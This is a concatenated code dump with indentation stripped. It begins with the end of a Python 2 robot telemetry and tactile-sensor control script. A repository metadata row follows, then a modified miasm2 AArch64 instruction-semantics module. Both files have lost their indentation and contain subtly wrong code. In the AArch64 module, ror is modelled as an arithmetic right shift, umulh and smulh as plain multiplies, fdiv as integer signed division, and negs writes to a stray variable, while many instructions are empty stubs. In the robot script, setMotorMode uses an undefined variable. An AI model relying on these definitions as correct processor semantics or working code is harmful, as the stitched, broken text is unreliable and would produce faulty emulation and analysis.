self.clAnnounce()
print " ",temp
self.tx( 0, command.SET_VEL_PROFILE, pack('12h', *temp))
time.sleep(0.1)
#TODO: This may be a vestigial function. Check versus firmware.
def setMotorMode(self, motorgains, retries = 8 ):
tries = 1
self.motorGains = motorgains
self.motor_gains_set = False
while not(self.motor_gains_set) and (tries <= retries):
self.clAnnounce()
print "Setting motor mode... ",tries,"/8"
self.tx( 0, command.SET_MOTOR_MODE, pack('10h',*gains))
tries = tries + 1
time.sleep(0.1)
######TODO : sort out this function and flashReadback below
def downloadTelemetry(self, timeout = 5, retry = True):
#suppress callback output messages for the duration of download
self.VERBOSE = False
self.clAnnounce()
print "Started telemetry download"
self.tx( 0, command.FLASH_READBACK, pack('=L',self.numSamples))
dlStart = time.time()
shared.last_packet_time = dlStart
#bytesIn = 0
while self.telemtryData.count([]) > 0:
time.sleep(0.02)
dlProgress(self.numSamples - self.telemtryData.count([]) , self.numSamples)
if (time.time() - shared.last_packet_time) > timeout:
print ""
#Terminal message about missed packets
self.clAnnounce()
print "Readback timeout exceeded"
print "Missed", self.telemtryData.count([]), "packets."
#print "Didn't get packets:"
#for index,item in enumerate(self.telemtryData):
# if item == []:
# print "#",index+1,
print ""
break
# Retry telem download
if retry == True:
raw_input("Press Enter to restart telemetry readback ...")
self.telemtryData = [ [] ] * self.numSamples
self.clAnnounce()
print "Started telemetry download"
dlStart = time.time()
shared.last_packet_time = dlStart
self.tx( 0, command.FLASH_READBACK, pack('=L',self.numSamples))
else: #retry == false
print "Not trying telemetry download."
dlEnd = time.time()
dlTime = dlEnd - dlStart
#Final update to download progress bar to make it show 100%
dlProgress(self.numSamples-self.telemtryData.count([]) , self.numSamples)
#totBytes = 52*self.numSamples
totBytes = 52*(self.numSamples - self.telemtryData.count([]))
datarate = totBytes / dlTime / 1000.0
print '\n'
#self.clAnnounce()
#print "Got ",self.numSamples,"samples in ",dlTime,"seconds"
self.clAnnounce()
print "DL rate: {0:.2f} KB/s".format(datarate)
#enable callback output messages
self.VERBOSE = True
print ""
self.pruneTelemtryData()
self.saveTelemetryData()
#Done with flash download and save
def pruneTelemtryData(self):
self.telemtryData = filter(lambda a : a != [], self.telemtryData)
def saveTelemetryData(self):
self.findFileName()
self.writeFileHeader()
fileout = open(self.dataFileName, 'a')
np.savetxt(fileout , np.array(self.telemtryData), self.telemFormatString, delimiter = ',')
fileout.close()
self.clAnnounce()
print "Telemetry data saved to", self.dataFileName
def writeFileHeader(self):
fileout = open(self.dataFileName,'w')
#write out parameters in format which can be imported to Excel
today = time.localtime()
date = str(today.tm_year)+'/'+str(today.tm_mon)+'/'+str(today.tm_mday)+' '
date = date + str(today.tm_hour) +':' + str(today.tm_min)+':'+str(today.tm_sec)
fileout.write('% Data file recorded ' + date + '\n')
fileout.write('% Stride Frequency = ' +repr( [ self.currentGait.leftFreq, self.currentGait.leftFreq]) + '\n')
fileout.write('% Lead In /Lead Out = ' + '\n')
fileout.write('% Deltas (Fractional) = ' + repr(self.currentGait.deltasLeft) + ',' + repr(self.currentGait.deltasRight) + '\n')
fileout.write('% Phase = ' + repr(self.currentGait.phase) + '\n')
fileout.write('% Experiment.py \n')
fileout.write('% Motor Gains = ' + repr(self.currentGait.motorgains) + '\n')
fileout.write('% Columns: \n')
# order for wiring on RF Turner
fileout.write('% time | Right Leg Pos | Left Leg Pos | Commanded Right Leg Pos | Commanded Left Leg Pos | DCR | DCL | GyroX | GyroY | GyroZ | AX | AY | AZ | RBEMF | LBEMF | VBatt | S1 | S2 | S3 | S4 | S5 | S6 | S7 | S8\n')
fileout.close()
def setupTelemetryDataTime(self, runtime):
''' This is NOT current for Velociroach! '''
#TODO : update for Velociroach
# Take the longer number, between numSamples and runTime
nrun = int(self.telemSampleFreq * runtime / 1000.0)
self.numSamples = nrun
#allocate an array to write the downloaded telemetry data into
self.telemtryData = [ [] ] * self.numSamples
self.clAnnounce()
print "Telemetry samples to save: ",self.numSamples
def setupTelemetryDataNum(self, numSamples):
''' This is NOT current for Velociroach! '''
#TODO : update for Velociroach
self.numSamples = numSamples
#allocate an array to write the downloaded telemetry data into
self.telemtryData = [ [] ] * self.numSamples
self.clAnnounce()
print "Telemetry samples to save: ",self.numSamples
def startTelemetrySave(self):
self.clAnnounce()
print "Started telemetry save of", self.numSamples," samples."
self.tx(0, command.START_TELEMETRY, pack('L',self.numSamples))
def setMotorGains(self, gains, retries = 8):
tries = 1
self.motorGains = gains
while not(self.motor_gains_set) and (tries <= retries):
self.clAnnounce()
print "Setting motor gains... ",tries,"/8"
self.tx( 0, command.SET_PID_GAINS, pack('10h',*gains))
tries = tries + 1
time.sleep(0.3)
def setGait(self, gaitConfig):
self.currentGait = gaitConfig
self.clAnnounce()
print " --- Setting complete gait config --- "
self.setPhase(gaitConfig.phase)
self.setMotorGains(gaitConfig.motorgains)
self.setVelProfile(gaitConfig) #whole object is passed in, due to several references
#self.zeroPosition()
self.clAnnounce()
print " ------------------------------------ "
def zeroPosition(self):
self.tx( 0, command.ZERO_POS, 'zero') #actual data sent in packet is not relevant
time.sleep(0.1) #built-in holdoff, since reset apparently takes > 50ms
############TACTILE COMMANDS added by jgoldberg############
rows = 0
cols = 0
def samplePixel(self, row, col):
self.tx(0, command.TACTILE, 'A' + chr(row) + chr(col))
def sampleFrame(self, period):
#period in microseconds
self.tx(0, command.TACTILE, 'B' + chr(period % 256) + chr(period >> 8))
def pollPixel(self, row, col, duration, period): #works if samples (1000*duration/period) is less than size of packet imageproc can send (110?)
#duration in seconds
#period in milliseconds (must be < 256)
self.tx(0, command.TACTILE, 'C' + chr(row) + chr(col) + chr(duration) + chr(period))
time.sleep(duration + 1)
def startScan(self):
self.tx(0, command.TACTILE, 'E')
def stopScan(self):
self.tx(0, command.TACTILE, 'F')
def skinStream(self, x):
# x should be 0 or 1
if x == 0 or x == 1:
self.tx(0, command.TACTILE, 'S' + chr(x))
else:
errstring = "skinStream(x) -- argument x must be either 0 or 1. received "+str(x)+"."
raise ValueError(errstring)
def getSkinSize(self):
self.tx(0, command.TACTILE, 'G')
def testFrame(self): #NOT TESTED #need to fix C code to send correct frame length
self.tx(0, command.TACTILE, 'T')
def loadTactileForceCal(self, send, N_file):
self.N = scipy.io.loadmat(N_file)['N']
if send:
for i in range(self.N.shape[0]):
self.tx(0, command.TACTILE, 'L' + chr(i) + pack('<6f',*self.N[i,:]))
time.sleep(.05)
self.clAnnounce()
print "Finished sending N calibration matrix to robot"
def sendX(self, c,d):
self.tx(0, command.TACTILE, 'X' + chr(c)+chr(d))
def sendY(self, c):
self.tx(0, command.TACTILE, 'Y' + chr(c))
def sendZ(self):
self.tx(0, command.TACTILE, 'Z')
########## Helper functions #################
#TODO: find a home for these? Possibly in BaseStation class (pullin, abuchan)
def setupSerial(COMPORT , BAUDRATE , timeout = 3, rtscts = 0):
print "Setting up serial ..."
try:
ser = serial.Serial(port = COMPORT, baudrate = BAUDRATE, \
timeout=timeout, rtscts=rtscts)
except serial.serialutil.SerialException:
print "Could not open serial port:",shared.BS_COMPORT
sys.exit(1)
shared.ser = ser
ser.flushInput()
ser.flushOutput()
return XBee(ser, callback = xbee_received)
def xb_safe_exit(xb):
print "Halting xb"
if xb is not None:
xb.halt()
print "Closing serial"
if xb.serial is not None:
xb.serial.close()
print "Exiting..."
sys.exit(1)
def verifyAllMotorGainsSet():
#Verify all robots have motor gains set
for r in shared.ROBOTS:
if not(r.motor_gains_set):
print "CRITICAL : Could not SET MOTOR GAINS on robot 0x%02X" % r.DEST_ADDR_int
xb_safe_exit(shared.xb)
def verifyAllTailGainsSet():
#Verify all robots have motor gains set
for r in shared.ROBOTS:
if not(r.tail_gains_set):
print "CRITICAL : Could not SET TAIL GAINS on robot 0x%02X" % r.DEST_ADDR_int
xb_safe_exit(shared.xb)
def verifyAllQueried():
for r in shared.ROBOTS:
if not(r.robot_queried):
print "CRITICAL : Could not query robot 0x%02X" % r.DEST_ADDR_int
xb_safe_exit(shared.xb)
def dlProgress(current, total):
percent = int(100.0*current/total)
dashes = int(floor(percent/100.0 * 45))
stars = 45 - dashes - 1
barstring = '|' + '-'*dashes + '>' + '*'*stars + '|'
#sys.stdout.write("\r" + "Downloading ...%d%% " % percent)
sys.stdout.write("\r" + str(current).rjust(5) +"/"+ str(total).ljust(5) + " ")
sys.stdout.write(barstring)
sys.stdout.flush() | [
"cemkoc95@gmail.com"
] | cemkoc95@gmail.com |
0b516dc1969f77f73f4da908e08ca5bf57a771d0 | b068fe1eca9c83417f5818406873d3f596561354 | /Generate_Features/Gen_features/miasm2/arch/aarch64/sem.py | e86226dfecdd3cabc0d13f3c8c4a48886449cea7 | [] | no_license | zjuArclab/Focus | 9ddb329f5f52dff11268372e428742a6ed719626 | bba0b448fc71a1448b3ba50a3168bae326b941db | refs/heads/master | 2020-10-01T18:30:29.561123 | 2020-06-13T12:50:57 | 2020-06-13T12:50:57 | 227,598,920 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 27,168 | py | from miasm2.expression import expression as m2_expr
from miasm2.ir.ir import IntermediateRepresentation, IRBlock, AssignBlock
from miasm2.arch.aarch64.arch import mn_aarch64, conds_expr, replace_regs
from miasm2.arch.aarch64.regs import *
from miasm2.core.sembuilder import SemBuilder
from miasm2.jitter.csts import EXCEPT_DIV_BY_ZERO, EXCEPT_INT_XX
# CPSR: N Z C V
def update_flag_zf(a):
return [m2_expr.ExprAff(zf, m2_expr.ExprCond(a, m2_expr.ExprInt(0, 1), m2_expr.ExprInt(1, 1)))]
def update_flag_nf(a):
return [m2_expr.ExprAff(nf, a.msb())]
def update_flag_zn(a):
e = []
e += update_flag_zf(a)
e += update_flag_nf(a)
return e
def update_flag_logic(a):
e = []
e += update_flag_zn(a)
# XXX TODO: set cf if ROT imm in argument
# e.append(m2_expr.ExprAff(cf, m2_expr.ExprInt(0, 1)))
return e
def update_flag_arith(a):
e = []
e += update_flag_zn(a)
return e
def check_ops_msb(a, b, c):
print "bad ops size"
# if not a or not b or not c or a != b or a != c:
# raise ValueError('bad ops size %s %s %s' % (a, b, c))
def arith_flag(a, b, c):
a_s, b_s, c_s = a.size, b.size, c.size
check_ops_msb(a_s, b_s, c_s)
a_s, b_s, c_s = a.msb(), b.msb(), c.msb()
return a_s, b_s, c_s
# checked: ok for adc add because b & c before +cf
def update_flag_add_cf(op1, op2, res):
"Compute cf in @res = @op1 + @op2"
return m2_expr.ExprAff(cf, (((op1 ^ op2) ^ res) ^ ((op1 ^ res) & (~(op1 ^ op2)))).msb())
def update_flag_add_of(op1, op2, res):
"Compute of in @res = @op1 + @op2"
return m2_expr.ExprAff(of, (((op1 ^ res) & (~(op1 ^ op2)))).msb())
# checked: ok for sbb add because b & c before +cf
def update_flag_sub_cf(op1, op2, res):
"Compote CF in @res = @op1 - @op2"
return m2_expr.ExprAff(cf,
((((op1 ^ op2) ^ res) ^ ((op1 ^ res) & (op1 ^ op2))).msb()) ^ m2_expr.ExprInt(1, 1))
def update_flag_sub_of(op1, op2, res):
"Compote OF in @res = @op1 - @op2"
return m2_expr.ExprAff(of, (((op1 ^ res) & (op1 ^ op2))).msb())
# clearing cv flags for bics (see C5.6.25)
def update_flag_bics ():
"Clear CF and OF"
return [ExprAff(cf, ExprInt (0,1)), ExprAff(of, ExprInt (0,1))]
# z = x+y (+cf?)
def update_flag_add(x, y, z):
e = []
e.append(update_flag_add_cf(x, y, z))
e.append(update_flag_add_of(x, y, z))
return e
# z = x-y (+cf?)
def update_flag_sub(x, y, z):
e = []
e.append(update_flag_sub_cf(x, y, z))
e.append(update_flag_sub_of(x, y, z))
return e
cond2expr = {'EQ': zf,
'NE': zf ^ m2_expr.ExprInt(1, 1),
'CS': cf,
'CC': cf ^ m2_expr.ExprInt(1, 1),
'MI': nf,
'PL': nf ^ m2_expr.ExprInt(1, 1),
'VS': of,
'VC': of ^ m2_expr.ExprInt(1, 1),
'HI': cf & (zf ^ m2_expr.ExprInt(1, 1)),
'LS': (cf ^ m2_expr.ExprInt(1, 1)) | zf,
'GE': nf ^ of ^ m2_expr.ExprInt(1, 1),
'LT': nf ^ of,
'GT': ((zf ^ m2_expr.ExprInt(1, 1)) &
(nf ^ of ^ m2_expr.ExprInt(1, 1))),
'LE': zf | (nf ^ of),
'AL': m2_expr.ExprInt(1, 1),
'NV': m2_expr.ExprInt(0, 1)
}
def extend_arg(dst, arg):
if not isinstance(arg, m2_expr.ExprOp):
return arg
op, (reg, shift) = arg.op, arg.args
if op == "SXTB":
base = reg[:8].signExtend(dst.size)
op = "<<"
elif op == "SXTH":
base = reg[:16].signExtend(dst.size)
op = "<<"
elif op == 'SXTW':
base = reg[:32].signExtend(dst.size)
op = "<<"
elif op == "SXTX":
base = reg.signExtend(dst.size)
op = "<<"
elif op == "UXTB":
base = reg[:8].zeroExtend(dst.size)
op = "<<"
elif op == "UXTH":
base = reg[:16].zeroExtend(dst.size)
op = "<<"
elif op == 'UXTW':
base = reg[:32].zeroExtend(dst.size)
op = "<<"
elif op == "UXTX":
base = reg.zeroExtend(dst.size)
op = "<<"
elif op in ['<<', '>>', '<<a', 'a>>', '<<<', '>>>']:
base = reg.zeroExtend(dst.size)
# else:
# raise NotImplementedError('Unknown shifter operator')
out = ExprOp(op, base, (shift.zeroExtend(dst.size)
& m2_expr.ExprInt(dst.size - 1, dst.size)))
return out
# SemBuilder context
ctx = {"PC": PC,
"LR": LR,
"nf": nf,
"zf": zf,
"cf": cf,
"of": of,
"cond2expr": cond2expr,
"extend_arg": extend_arg,
"m2_expr":m2_expr,
"exception_flags": exception_flags,
"interrupt_num": interrupt_num,
"EXCEPT_DIV_BY_ZERO": EXCEPT_DIV_BY_ZERO,
"EXCEPT_INT_XX": EXCEPT_INT_XX,
}
sbuild = SemBuilder(ctx)
# instruction definition ##############
@sbuild.parse
def add(arg1, arg2, arg3):
arg1 = arg2 + extend_arg(arg2, arg3)
@sbuild.parse
def sub(arg1, arg2, arg3):
arg1 = arg2 - extend_arg(arg2, arg3)
# fuying
@sbuild.parse
def fsub(arg1, arg2, arg3):
arg1 = arg2 - extend_arg(arg2, arg3)
# fuying
def rev(ir, instr, a, b):
e = []
c = ExprCompose(b[24:32], b[16:24], b[8:16], b[:8])
e.append(ExprAff(a, c))
return e, []
@sbuild.parse
def neg(arg1, arg2):
arg1 = - arg2
#fuying
@sbuild.parse
def fneg(arg1, arg2):
arg1 = - arg2
@sbuild.parse
def and_l(arg1, arg2, arg3):
arg1 = arg2 & extend_arg(arg2, arg3)
@sbuild.parse
def eor(arg1, arg2, arg3):
arg1 = arg2 ^ extend_arg(arg2, arg3)
@sbuild.parse
def eon(arg1, arg2, arg3):
arg1 = arg2 ^ (~extend_arg(arg2, arg3))
@sbuild.parse
def orr(arg1, arg2, arg3):
arg1 = arg2 | extend_arg(arg2, arg3)
@sbuild.parse
def orn(arg1, arg2, arg3):
arg1 = arg2 | (~extend_arg(arg2, arg3))
@sbuild.parse
def bic(arg1, arg2, arg3):
arg1 = arg2 & (~extend_arg(arg2, arg3))
def bics(ir, instr, arg1, arg2, arg3):
e = []
arg1 = arg2 & (~extend_arg(arg2, arg3))
e += update_flag_logic (arg1)
e += update_flag_bics ()
return e, []
@sbuild.parse
def mvn(arg1, arg2):
arg1 = (~extend_arg(arg1, arg2))
def adds(ir, instr, arg1, arg2, arg3):
e = []
arg3 = extend_arg(arg2, arg3)
res = arg2 + arg3
e += update_flag_arith(res)
e += update_flag_add(arg2, arg3, res)
e.append(m2_expr.ExprAff(arg1, res))
return e, []
def subs(ir, instr, arg1, arg2, arg3):
e = []
arg3 = extend_arg(arg2, arg3)
res = arg2 - arg3
e += update_flag_arith(res)
e += update_flag_sub(arg2, arg3, res)
e.append(m2_expr.ExprAff(arg1, res))
return e, []
def cmp(ir, instr, arg1, arg2):
e = []
arg2 = extend_arg(arg1, arg2)
res = arg1 - arg2
e += update_flag_arith(res)
e += update_flag_sub(arg1, arg2, res)
return e, []
def ccmp(ir, instr, arg1, arg2, arg3, arg4):
e = []
arg2 = extend_arg(arg1, arg2)
res = arg1 - arg2
e += update_flag_arith(res)
e += update_flag_sub(arg1, arg2, res)
arg3 = extend_arg(arg3, arg4)
res = arg3 - arg4
e += update_flag_arith(res)
e += update_flag_sub(arg3, arg4, res)
return e, []
def cmn(ir, instr, arg1, arg2):
e = []
arg2 = extend_arg(arg1, arg2)
res = arg1 + arg2
e += update_flag_arith(res)
e += update_flag_add(arg1, arg2, res)
return e, []
def ccmn(ir, instr, arg1, arg2, arg3, arg4):
e = []
arg2 = extend_arg(arg1, arg2)
res = arg1 + arg2
e += update_flag_arith(res)
e += update_flag_add(arg1, arg2, res)
arg3 = extend_arg(arg3, arg4)
res = arg3 + arg4
e += update_flag_arith(res)
e += update_flag_add(arg3, arg4, res)
return e, []
def ands(ir, instr, arg1, arg2, arg3):
e = []
arg3 = extend_arg(arg2, arg3)
res = arg2 & arg3
e += update_flag_logic(res)
e.append(m2_expr.ExprAff(arg1, res))
return e, []
def tst(ir, instr, arg1, arg2):
e = []
arg2 = extend_arg(arg1, arg2)
res = arg1 & arg2
e += update_flag_logic(res)
return e, []
@sbuild.parse
def lsl(arg1, arg2, arg3):
arg1 = arg2 << (arg3 & m2_expr.ExprInt(arg3.size - 1, arg3.size))
@sbuild.parse
def lsr(arg1, arg2, arg3):
arg1 = arg2 >> (arg3 & m2_expr.ExprInt(arg3.size - 1, arg3.size))
@sbuild.parse
def asr(arg1, arg2, arg3):
arg1 = m2_expr.ExprOp(
'a>>', arg2, (arg3 & m2_expr.ExprInt(arg3.size - 1, arg3.size)))
# fuying
@sbuild.parse
def ror(arg1, arg2, arg3):
arg1 = m2_expr.ExprOp(
'a>>', arg2, (arg3 & m2_expr.ExprInt(arg3.size - 1, arg3.size)))
@sbuild.parse
def mov(arg1, arg2):
arg1 = arg2
@sbuild.parse
def negs(arg1, arg2):
args = -arg2
# TODO
@sbuild.parse
def mrs(arg1, arg2, arg3, arg4, arg5):
arg1 = arg3
# TODO
@sbuild.parse
def fcvtzu(arg1, arg2):
pass
# arg1 = arg2
# # TODO
@sbuild.parse
def ucvtf(arg1, arg2):
pass
@sbuild.parse
def ldxr(arg1, arg2):
pass
@sbuild.parse
def ldaxr(arg1, arg2):
pass
@sbuild.parse
def fabs(arg1, arg2):
pass
@sbuild.parse
def fmadd(arg1, arg2, arg3, arg4):
pass
@sbuild.parse
def fmsub(arg1, arg2, arg3, arg4):
pass
@sbuild.parse
def stlxr(arg1, arg2, arg3):
pass
@sbuild.parse
def dmb(arg1):
pass
@sbuild.parse
def clz(arg1, arg2):
pass
# fuying
@sbuild.parse
def fmov(arg1, arg2):
arg1 = arg2
def movk(ir, instr, arg1, arg2):
e = []
if isinstance(arg2, m2_expr.ExprOp):
assert(arg2.op == 'slice_at' and
isinstance(arg2.args[0], m2_expr.ExprInt) and
isinstance(arg2.args[1], m2_expr.ExprInt))
value, shift = int(arg2.args[0].arg), int(arg2.args[1])
e.append(
m2_expr.ExprAff(arg1[shift:shift + 16], m2_expr.ExprInt(value, 16)))
else:
e.append(m2_expr.ExprAff(arg1[:16], m2_expr.ExprInt(int(arg2), 16)))
return e, []
@sbuild.parse
def movz(arg1, arg2):
arg1 = arg2
@sbuild.parse
def movn(arg1, arg2):
arg1 = ~arg2
@sbuild.parse
def bl(arg1):
PC = arg1
ir.IRDst = arg1
LR = m2_expr.ExprInt(instr.offset + instr.l, 64)
@sbuild.parse
def csel(arg1, arg2, arg3, arg4):
cond_expr = cond2expr[arg4.name]
arg1 = arg2 if cond_expr else arg3
def csinc(ir, instr, arg1, arg2, arg3, arg4):
e = []
cond_expr = cond2expr[arg4.name]
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprCond(cond_expr,
arg2,
arg3 + m2_expr.ExprInt(1, arg3.size))))
return e, []
def csinv(ir, instr, arg1, arg2, arg3, arg4):
e = []
cond_expr = cond2expr[arg4.name]
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprCond(cond_expr,
arg2,
~arg3)))
return e, []
def csneg(ir, instr, arg1, arg2, arg3, arg4):
e = []
cond_expr = cond2expr[arg4.name]
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprCond(cond_expr,
arg2,
-arg3)))
return e, []
def cset(ir, instr, arg1, arg2):
e = []
cond_expr = cond2expr[arg2.name]
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprCond(cond_expr,
m2_expr.ExprInt(
1, arg1.size),
m2_expr.ExprInt(0, arg1.size))))
return e, []
def csetm(ir, instr, arg1, arg2):
e = []
cond_expr = cond2expr[arg2.name]
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprCond(cond_expr,
m2_expr.ExprInt(
-1, arg1.size),
m2_expr.ExprInt(0, arg1.size))))
return e, []
def get_mem_access(mem):
updt = None
if isinstance(mem, m2_expr.ExprOp):
if mem.op == 'preinc':
addr = mem.args[0] + mem.args[1]
elif mem.op == 'segm':
base = mem.args[0]
op, (reg, shift) = mem.args[1].op, mem.args[1].args
if op == 'SXTW':
off = reg.signExtend(base.size) << shift.zeroExtend(base.size)
addr = base + off
elif op == 'UXTW':
off = reg.zeroExtend(base.size) << shift.zeroExtend(base.size)
addr = base + off
elif op == 'LSL':
if isinstance(shift, m2_expr.ExprInt) and int(shift) == 0:
addr = base + reg.zeroExtend(base.size)
else:
addr = base + \
(reg.zeroExtend(base.size)
<< shift.zeroExtend(base.size))
# else:
# raise NotImplementedError('bad op')
elif mem.op == "postinc":
addr, off = mem.args
updt = m2_expr.ExprAff(addr, addr + off)
elif mem.op == "preinc_wb":
base, off = mem.args
addr = base + off
updt = m2_expr.ExprAff(base, base + off)
# else:
# raise NotImplementedError('bad op')
# else:
# raise NotImplementedError('bad op')
return addr, updt
def ldr(ir, instr, arg1, arg2):
e = []
addr, updt = get_mem_access(arg2)
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprMem(addr, arg1.size)))
if updt:
e.append(updt)
return e, []
def ldr_size(ir, instr, arg1, arg2, size):
e = []
addr, updt = get_mem_access(arg2)
e.append(
m2_expr.ExprAff(arg1, m2_expr.ExprMem(addr, size).zeroExtend(arg1.size)))
if updt:
e.append(updt)
return e, []
def ldrb(ir, instr, arg1, arg2):
return ldr_size(ir, instr, arg1, arg2, 8)
def ldrh(ir, instr, arg1, arg2):
return ldr_size(ir, instr, arg1, arg2, 16)
def ldrs_size(ir, instr, arg1, arg2, size):
e = []
addr, updt = get_mem_access(arg2)
e.append(
m2_expr.ExprAff(arg1, m2_expr.ExprMem(addr, size).signExtend(arg1.size)))
if updt:
e.append(updt)
return e, []
def ldrsb(ir, instr, arg1, arg2):
return ldrs_size(ir, instr, arg1, arg2, 8)
def ldrsh(ir, instr, arg1, arg2):
return ldrs_size(ir, instr, arg1, arg2, 16)
def ldrsw(ir, instr, arg1, arg2):
return ldrs_size(ir, instr, arg1, arg2, 32)
def l_str(ir, instr, arg1, arg2):
e = []
addr, updt = get_mem_access(arg2)
e.append(m2_expr.ExprAff(m2_expr.ExprMem(addr, arg1.size), arg1))
if updt:
e.append(updt)
return e, []
def strb(ir, instr, arg1, arg2):
e = []
addr, updt = get_mem_access(arg2)
e.append(m2_expr.ExprAff(m2_expr.ExprMem(addr, 8), arg1[:8]))
if updt:
e.append(updt)
return e, []
def strh(ir, instr, arg1, arg2):
e = []
addr, updt = get_mem_access(arg2)
e.append(m2_expr.ExprAff(m2_expr.ExprMem(addr, 16), arg1[:16]))
if updt:
e.append(updt)
return e, []
def stp(ir, instr, arg1, arg2, arg3):
e = []
addr, updt = get_mem_access(arg3)
e.append(m2_expr.ExprAff(m2_expr.ExprMem(addr, arg1.size), arg1))
e.append(
m2_expr.ExprAff(m2_expr.ExprMem(addr + m2_expr.ExprInt(arg1.size / 8, addr.size), arg2.size), arg2))
if updt:
e.append(updt)
return e, []
def ldp(ir, instr, arg1, arg2, arg3):
e = []
addr, updt = get_mem_access(arg3)
e.append(m2_expr.ExprAff(arg1, m2_expr.ExprMem(addr, arg1.size)))
e.append(
m2_expr.ExprAff(arg2, m2_expr.ExprMem(addr + m2_expr.ExprInt(arg1.size / 8, addr.size), arg2.size)))
if updt:
e.append(updt)
return e, []
def sbfm(ir, instr, arg1, arg2, arg3, arg4):
e = []
rim, sim = int(arg3.arg), int(arg4) + 1
if sim > rim:
res = arg2[rim:sim].signExtend(arg1.size)
else:
shift = m2_expr.ExprInt(arg2.size - rim, arg2.size)
res = (arg2[:sim].signExtend(arg1.size) << shift)
e.append(m2_expr.ExprAff(arg1, res))
return e, []
def ubfm(ir, instr, arg1, arg2, arg3, arg4):
e = []
rim, sim = int(arg3.arg), int(arg4) + 1
if sim > rim:
res = arg2[rim:sim].zeroExtend(arg1.size)
else:
shift = m2_expr.ExprInt(arg2.size - rim, arg2.size)
res = (arg2[:sim].zeroExtend(arg1.size) << shift)
e.append(m2_expr.ExprAff(arg1, res))
return e, []
def bfm(ir, instr, arg1, arg2, arg3, arg4):
e = []
rim, sim = int(arg3.arg), int(arg4) + 1
if sim > rim:
res = arg2[rim:sim]
e.append(m2_expr.ExprAff(arg1[:sim-rim], res))
else:
shift_i = arg2.size - rim
shift = m2_expr.ExprInt(shift_i, arg2.size)
res = arg2[:sim]
e.append(m2_expr.ExprAff(arg1[shift_i:shift_i+sim], res))
return e, []
@sbuild.parse
def madd(arg1, arg2, arg3, arg4):
arg1 = arg2 * arg3 + arg4
# fuying
@sbuild.parse
def smaddl(arg1, arg2, arg3, arg4):
arg1 = arg2 * arg3 + arg4
# fuying
@sbuild.parse
def umaddl(arg1, arg2, arg3, arg4):
arg1 = arg2 * arg3 + arg4
# fuying
@sbuild.parse
def fmul(arg1, arg2, arg3):
arg1 = arg2 * arg3
# fuying
@sbuild.parse
def umulh(arg1, arg2, arg3):
arg1 = arg2 * arg3
# fuying
@sbuild.parse
def smulh(arg1, arg2, arg3):
arg1 = arg2 * arg3
@sbuild.parse
def msub(arg1, arg2, arg3, arg4):
arg1 = arg4 - (arg2 * arg3)
@sbuild.parse
def udiv(arg1, arg2, arg3):
if arg3:
arg1 = m2_expr.ExprOp('udiv', arg2, arg3)
else:
exception_flags = m2_expr.ExprInt(EXCEPT_DIV_BY_ZERO,
exception_flags.size)
# fuying
@sbuild.parse
def sdiv(arg1, arg2, arg3):
if arg3:
arg1 = m2_expr.ExprOp('sdiv', arg2, arg3)
else:
exception_flags = m2_expr.ExprInt(EXCEPT_DIV_BY_ZERO,
exception_flags.size)
# fuying
@sbuild.parse
def fdiv(arg1, arg2, arg3):
if arg3:
arg1 = m2_expr.ExprOp('sdiv', arg2, arg3)
else:
exception_flags = m2_expr.ExprInt(EXCEPT_DIV_BY_ZERO,
exception_flags.size)
@sbuild.parse
def cbz(arg1, arg2):
dst = m2_expr.ExprId(ir.get_next_label(instr), 64) if arg1 else arg2
PC = dst
ir.IRDst = dst
@sbuild.parse
def cbnz(arg1, arg2):
dst = arg2 if arg1 else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def tbz(arg1, arg2, arg3):
bitmask = m2_expr.ExprInt(1, arg1.size) << arg2
dst = m2_expr.ExprId(
ir.get_next_label(instr), 64) if arg1 & bitmask else arg3
PC = dst
ir.IRDst = dst
@sbuild.parse
def tbnz(arg1, arg2, arg3):
bitmask = m2_expr.ExprInt(1, arg1.size) << arg2
dst = arg3 if arg1 & bitmask else m2_expr.ExprId(
ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_ne(arg1):
dst = m2_expr.ExprId(ir.get_next_label(instr), 64) if zf else arg1
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_eq(arg1):
dst = arg1 if zf else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_ge(arg1):
cond = cond2expr['GE']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_gt(arg1):
cond = cond2expr['GT']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_cc(arg1):
cond = cond2expr['CC']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_cs(arg1):
cond = cond2expr['CS']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_hi(arg1):
cond = cond2expr['HI']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_le(arg1):
cond = cond2expr['LE']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_ls(arg1):
cond = cond2expr['LS']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def b_lt(arg1):
cond = cond2expr['LT']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
# fuying
@sbuild.parse
def b_pl(arg1):
cond = cond2expr['PL']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
# fuying
@sbuild.parse
def b_mi(arg1):
cond = cond2expr['MI']
dst = arg1 if cond else m2_expr.ExprId(ir.get_next_label(instr), 64)
PC = dst
ir.IRDst = dst
@sbuild.parse
def ret(arg1):
PC = arg1
ir.IRDst = arg1
@sbuild.parse
def adrp(arg1, arg2):
arg1 = (PC & m2_expr.ExprInt(0xfffffffffffff000, 64)) + arg2
